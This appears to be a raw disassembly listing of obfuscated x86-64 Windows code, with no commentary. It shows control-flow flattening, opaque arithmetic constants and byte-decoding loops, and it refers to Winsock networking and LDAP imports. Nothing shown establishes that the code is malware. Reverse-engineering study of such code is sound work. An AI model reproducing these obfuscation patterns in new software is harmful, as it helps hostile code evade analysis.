movabs rcx, 0x81567339662e01f8
add rcx, rbx
movzx eax, cl
and al, dil
mov edx, Ordinal_30
sub dl, al
add dl, dl
add dl, cl
add dl, dil
lea r11d, [rdx + rdx]
jmp 0x140087d1c
movabs rcx, 0x92306a52fb2c6c2c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x34
cmp r8, 0x80
jae 0x140087bb2
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x140087a91
movabs rdx, 0x21b3ee3329fcd468
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x1400875a2
movabs rcx, 0xef069038c1f44e04
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x1c
lea rax, [r9 + r8]
cmp rax, 5
je 0x140087c18
lea rax, [r9 + 2]
cmp r8, rax
jbe 0x140087942
movabs rcx, 0x707c7c1fd12f97c4
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x5c
jmp 0x1400875f1
movabs rdx, 0x274cac7414cf6bd8
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, listen
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xe28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087062
movabs rdx, 0x8422d259db974db0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140087e41
movabs rdx, 0xe0f8f83fa25f2f88
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140087e0d
movabs rdx, 0x3dcf1e2569271160
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087062
movabs rdx, 0x9aa5440b2feef338
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087062
movabs rcx, 0xf77b69f0f6b6d510
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
jmp 0x140087bd9
movabs rcx, 0x54518fd6bd7eb6e8
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x58
dec rbx
inc rbx
jmp 0x140087062
movabs rcx, 0xb127b5bc844698c0
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x140087062
movabs rcx, 0xdfddba24b0e7a98
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x28
jmp 0x140087d1c
lea rax, [r9 + 4]
cmp r8, rax
jae 0x140087868
movabs rdx, 0x5194ed0d1c9c0f14
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140087653
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400878ab
movabs rdx, 0x626ee426b19a7948
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xe28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087062
inc rax
cmp r8, rax
jne 0x1400878db
movabs rcx, 0xa8c2985b240ab598
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x28
jmp 0x140087e0d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008790c
movabs rcx, 0x924026a9cfb31010
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x70
jmp 0x140087bd9
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140087653
movabs rdx, 0x7bbdb4f87b5b6a88
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140087d1c
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140087973
movabs rcx, 0x13a6563a0a67b5ec
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x74
jmp 0x140087d1c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400879ab
movabs rdx, 0x59fa0a6e7cd7f23c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x140087062
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400879ed
movabs rdx, 0x437798bd28804cb4
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087062
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140087a1e
movabs rcx, 0xe6a172d761b86adc
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 4
jmp 0x140087e0d
lea rax, [r9 + 6]
cmp r8, rax
jne 0x140087a4f
movabs rcx, 0x89cb4cf19af08904
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x1c
jmp 0x140087e41
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400875f1
movabs rcx, 0x2cf5270bd428a72c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x34
movzx eax, byte [rbp + rbx + 0xe28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087062
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140087ad4
movabs rdx, 0xc4ddc84d6334f290
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, byte [rbp + rbx + 0xe28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087062
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140087b14
movabs rcx, 0x518530b648156b30
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x50
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087062
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140087b45
movabs rcx, 0xf4af0ad0814d8958
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x68
jmp 0x140087bd9
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140087b7c
movabs rcx, 0x97d8e4eaba85a780
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
add r11b, 0x80
dec rbx
inc rbx
jmp 0x140087062
lea rax, [r9 + 9]
cmp r8, rax
jne 0x1400875a2
movabs rdx, 0xde2c991f2cf5e3d0
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140087d1c
movabs rdx, 0x24804d539f662020
add rdx, rbx
movzx eax, dl
and al, dil
movzx ecx, byte [rbp + rbx + 0xe28]
sub cl, al
add cl, 0x10
lea r11d, [rcx + rcx]
add r11b, dl
movabs rcx, 0x76153a60bc022f34
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x6c
add cl, dil
add cl, r11b
mov byte [rbp + rbx + 0xe28], cl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087062
movabs rdx, 0xc7aa276dd89e3e48
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x140087e0d
movabs rcx, 0x6db01cff5bc64c0c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x54
movzx eax, byte [rbp + rbx + 0xe28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087062
movabs rdx, 0x9ab500620475971c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
dec rbx
inc rbx
jmp 0x140087062
movabs rdx, 0xf78b2647cb3d78f4
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
inc r9
dec rbx
inc rbx
jmp 0x140087062
movabs rdx, 0x54614c2d92055acc
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140087d1c
movabs rcx, 0xe0d97f91f951e7c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x64
movabs rcx, 0xd2eb604682ca110c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
sub cl, 0x54
add cl, dil
mov byte [rbp + rbx + 0xe28], cl
inc r9
dec rbx
inc rbx
jmp 0x140087062
movabs rcx, 0xc7b9e3c4ad24e22c
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x34
dec rbx
inc rbx
jmp 0x140087062
movabs rcx, 0x81662f903ab4a5dc
add rcx, rbx
movzx eax, cl
and al, dil
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 4
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087062
movabs rdx, 0xde3c5576017c87b4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140087062
mov rdi, r10
movabs rcx, 0x3b127b5bc844698c
add rcx, rbx
and r10b, cl
mov eax, reloc.WLDAP32.dll_Ordinal_22
sub al, r10b
lea r11d, [rax + rax]
add r11b, dil
add r11b, cl
movabs rdx, 0x193f147af53a4d5c
add rdx, rbx
movzx eax, dil
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, dil
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xe28], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x6ad4018811d65c70
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub dil, al
sub dil, 0x10
add dil, cl
mov byte [rbp + rbx + 0xe28], dil
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xe28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087062
movabs rdx, 0xf4bec72755d42d3c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0xe28]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140087062
movabs rdx, 0x625f27cfdd13d564
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x14008705e
movabs rdx, 0xbf354db5a3dbb73c
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
jmp 0x140087045
lea rcx, [rbp + 0x15a2f98]
jmp 0x140087f35
lea rcx, [rbp + 0x763eac]
jmp 0x140087f35
lea rcx, [rbp + 0xe28]
mov dword [rbp + 0xf58], 0x64
mov dword [rbp + 0xf60], 0xffffff9c
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], r14
lea rax, [rbp + 0xf58]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0xf60]
lea r8, [rsi + 0x30]
mov edx, 4
call fcn.1400375c0
mov byte [rbp + 0xe50], reloc.WS2_32.dll_gethostname
mov byte [rbp + 0xe51], 0x47
mov byte [rbp + 0xe52], 0x42
mov byte [rbp + 0xe53], 0x7d
mov byte [rbp + 0xe54], reloc.WS2_32.dll_select
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe55], xmm0
mov qword [rbp + 0xe65], rax
mov dword [rbp + 0xe6d], eax
mov word [rbp + 0xe71], ax
movabs rdi, 0xffd50cd831e9a03f
movabs rsi, 0x480848d3f50a61a1
movabs r15, 0xb6d96222ad0b2003
movabs r14, 0xda55848e9af4219b
movabs r12, 0x6ca2c04940dde195
movzx r10d, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140088ec1
movzx r11d, byte [rbp + rbx + 0xe50]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140088eb5
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x140088060
lea rcx, [rbx + r15]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x15
jmp 0x1400880a7
je 0x140088e2b
lea rax, [r9 + 2]
cmp r8, rax
je 0x140088d8c
lea rax, [rcx + 1]
cmp r8, rax
je 0x140088d59
lea rax, [r9 + 6]
cmp r8, rax
je 0x140088cf8
lea rax, [r9 + 3]
cmp r8, rax
je 0x140088ccb
lea rax, [r9 + 2]
cmp r8, rax
je 0x140088c73
cmp r9, rbx
ja 0x140088ea9
lea rcx, [r9 + 2]
cmp r8, rcx
jae 0x1400880d9
lea rdx, [rbx + rdi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x47
add r10b, dl
jmp 0x140088120
lea rax, [r9 + 1]
cmp r8, rax
je 0x140088c4f
inc rax
cmp r8, rax
je 0x140088c24
lea rax, [rcx + 1]
cmp r8, rax
je 0x140088c00
lea rax, [r9 + 2]
cmp r8, rax
je 0x140088bd8
lea rax, [r9 + 8]
cmp r8, rax
je 0x140088ba3
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400887ad
nop dword [rax]
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140088789
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008875c
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x140088732
lea rax, [r9 + 0x42]
cmp r8, rax
je 0x140088709
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400886cd
lea rax, [r9 + 8]
cmp r8, rax
je 0x140088694
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x140088670
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14008864c
lea rax, [r9 + 2]
cmp r8, rax
je 0x140088617
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140088130
lea r8, [r9 + 0x1000]
lea r9, [r8 + 4]
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140088e84
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140088e5f
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14008831a
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x1400882ff
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400882e4
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x1400885b2
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140088553
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x140088504
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400884d5
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140088130
lea r8, [r9 + 5]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x1400884a0
lea rax, [r9 + 8]
cmp r8, rax
ja 0x140088477
lea rax, [r9 + 0x80]
cmp r8, rax
ja 0x14008844e
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x140088415
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400883de
lea rax, [r9 + 2]
cmp r8, rax
ja 0x1400883ba
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x140088390
lea rax, [r9 + 4]
cmp r8, rax
ja 0x14008835e
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x140088335
lea rax, [r9 + 6]
cmp r8, rax
ja 0x140088130
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x5a]
jmp 0x140088130
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x67
jmp 0x140088120
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3d
jmp 0x1400880a7
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x13
jmp 0x140088025
movabs rdx, 0xfea866c18f4d01f8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140088c96
movabs rdx, 0x90f5a27c3536c1f2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140088012
movabs rcx, 0x2342de36db2081ec
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x74
dec rbx
inc rbx
jmp 0x140088012
movabs rcx, 0xb59019f1810a41e6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x140088d17
movabs rcx, 0x47dd55ac26f401e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x20
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088012
movabs rdx, 0xda2a9166ccddc1da
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 5
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088012
movabs rdx, 0x6c77cd2172c781d4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140088dae
movabs rdx, 0xfec508dc18b141ce
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140088de1
movabs rcx, 0x91124496be9b01c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
movzx eax, byte [rbp + rbx + 0xe50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088012
movabs rcx, 0xfed359e95d6361b9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
mov byte [rbp + rbx + 0xe50], r10b
inc rbx
jmp 0x140088012
movabs rcx, 0x912095a4034d21b3
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x1b
cmp r9, 0x5a
jb 0x1400884f4
movabs rcx, 0xda9d19d0f26ec132
add rcx, rbx
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r11b
lea r10d, [rdx + rdx]
jmp 0x140088c96
movabs rcx, 0x236dd15ea936e1ad
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x45
cmp r8, 0x42
jae 0x140088b51
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x140088a2d
movabs rdx, 0x91a16f1b6d9040f6
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140088523
movabs rdx, 0xb5bb0d194f20a1a7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x6f
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 4
je 0x140088b7d
lea rax, [r9 + 4]
cmp r8, rax
jbe 0x140088905
movabs rdx, 0x91cc62433ba6a0b7
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
dec r10b
add r10b, dl
jmp 0x140088572
movabs rcx, 0xfefe4d112b79c17a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x56
movzx eax, byte [rbp + rbx + 0xe50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088012
movabs rcx, 0x914b88cbd1638174
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2c
jmp 0x140088de1
movabs rcx, 0x2398c486774d416e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 2
jmp 0x140088dae
movabs rdx, 0xb5e600411d370168
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088012
movabs rdx, 0x48333bfbc320c162
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088012
movabs rdx, 0xda8077b6690a815c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3e
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140088d17
movabs rcx, 0x6ccdb3710ef44156
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
dec rbx
inc rbx
jmp 0x140088012
movabs rcx, 0xff1aef2bb4de0150
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x30
inc r9
dec rbx
inc rbx
jmp 0x140088012
movabs rcx, 0x91682ae65ac7c14a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 6
jmp 0x140088c96
lea rax, [r9 + 3]
cmp r8, rax
jae 0x1400887d5
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x15
jmp 0x1400885d5
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140088817
movabs rcx, 0xffaa19b063d3407e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x72
movzx eax, byte [rbp + rbx + 0xe50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088012
inc rax
cmp r8, rax
jne 0x14008884c
movabs rdx, 0x6d5cddf5bde98084
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140088de1
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140088890
movabs rcx, 0xb6752ac5cc2c4096
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088012
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400888cf
movabs rdx, 0xff8d7795da6f00a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140088012
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400885d5
movabs rdx, 0x6d403bdb348540ae
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_33
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140088c96
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140088936
movabs rcx, 0xff7f268895bce0bd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2b
jmp 0x140088c96
inc rax
cmp r8, rax
jne 0x140088966
movabs rcx, 0x48977358a3ffa0cf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x57
jmp 0x140088d17
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400889aa
movabs rcx, 0xb64a379dfe15e0d5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2d
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088012
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400889eb
movabs rcx, 0x23fcfbe3582c20db
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 3
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088012
lea rax, [r9 + 8]
cmp r8, rax
jne 0x140088572
movabs rcx, 0x6d1548b3666ee0ed
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7b
movzx eax, byte [rbp + rbx + 0xe50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088012
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140088a74
movabs rdx, 0xff543360c7a680fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0xe50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140088012
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140088aa5
movabs rcx, 0xdab9bbeb7bd30108
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x38
jmp 0x140088dae
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140088aea
movabs rdx, 0xb61f44762fff8114
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_60
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140088012
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140088b20
movabs rdx, 0x23d208bb8a15c11a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140088d17
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140088523
movabs rcx, 0x6cea558b9858812c
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x34
jmp 0x140088c96
movabs rdx, 0x484fde164c850138
add rdx, rbx
movzx eax, dl
and al, r11b
movzx ecx, byte [rbp + rbx + 0xe50]
sub cl, al
add cl, 0x3c
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140088d17
movabs rdx, 0xb602a25ba69b413e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
jmp 0x140088dae
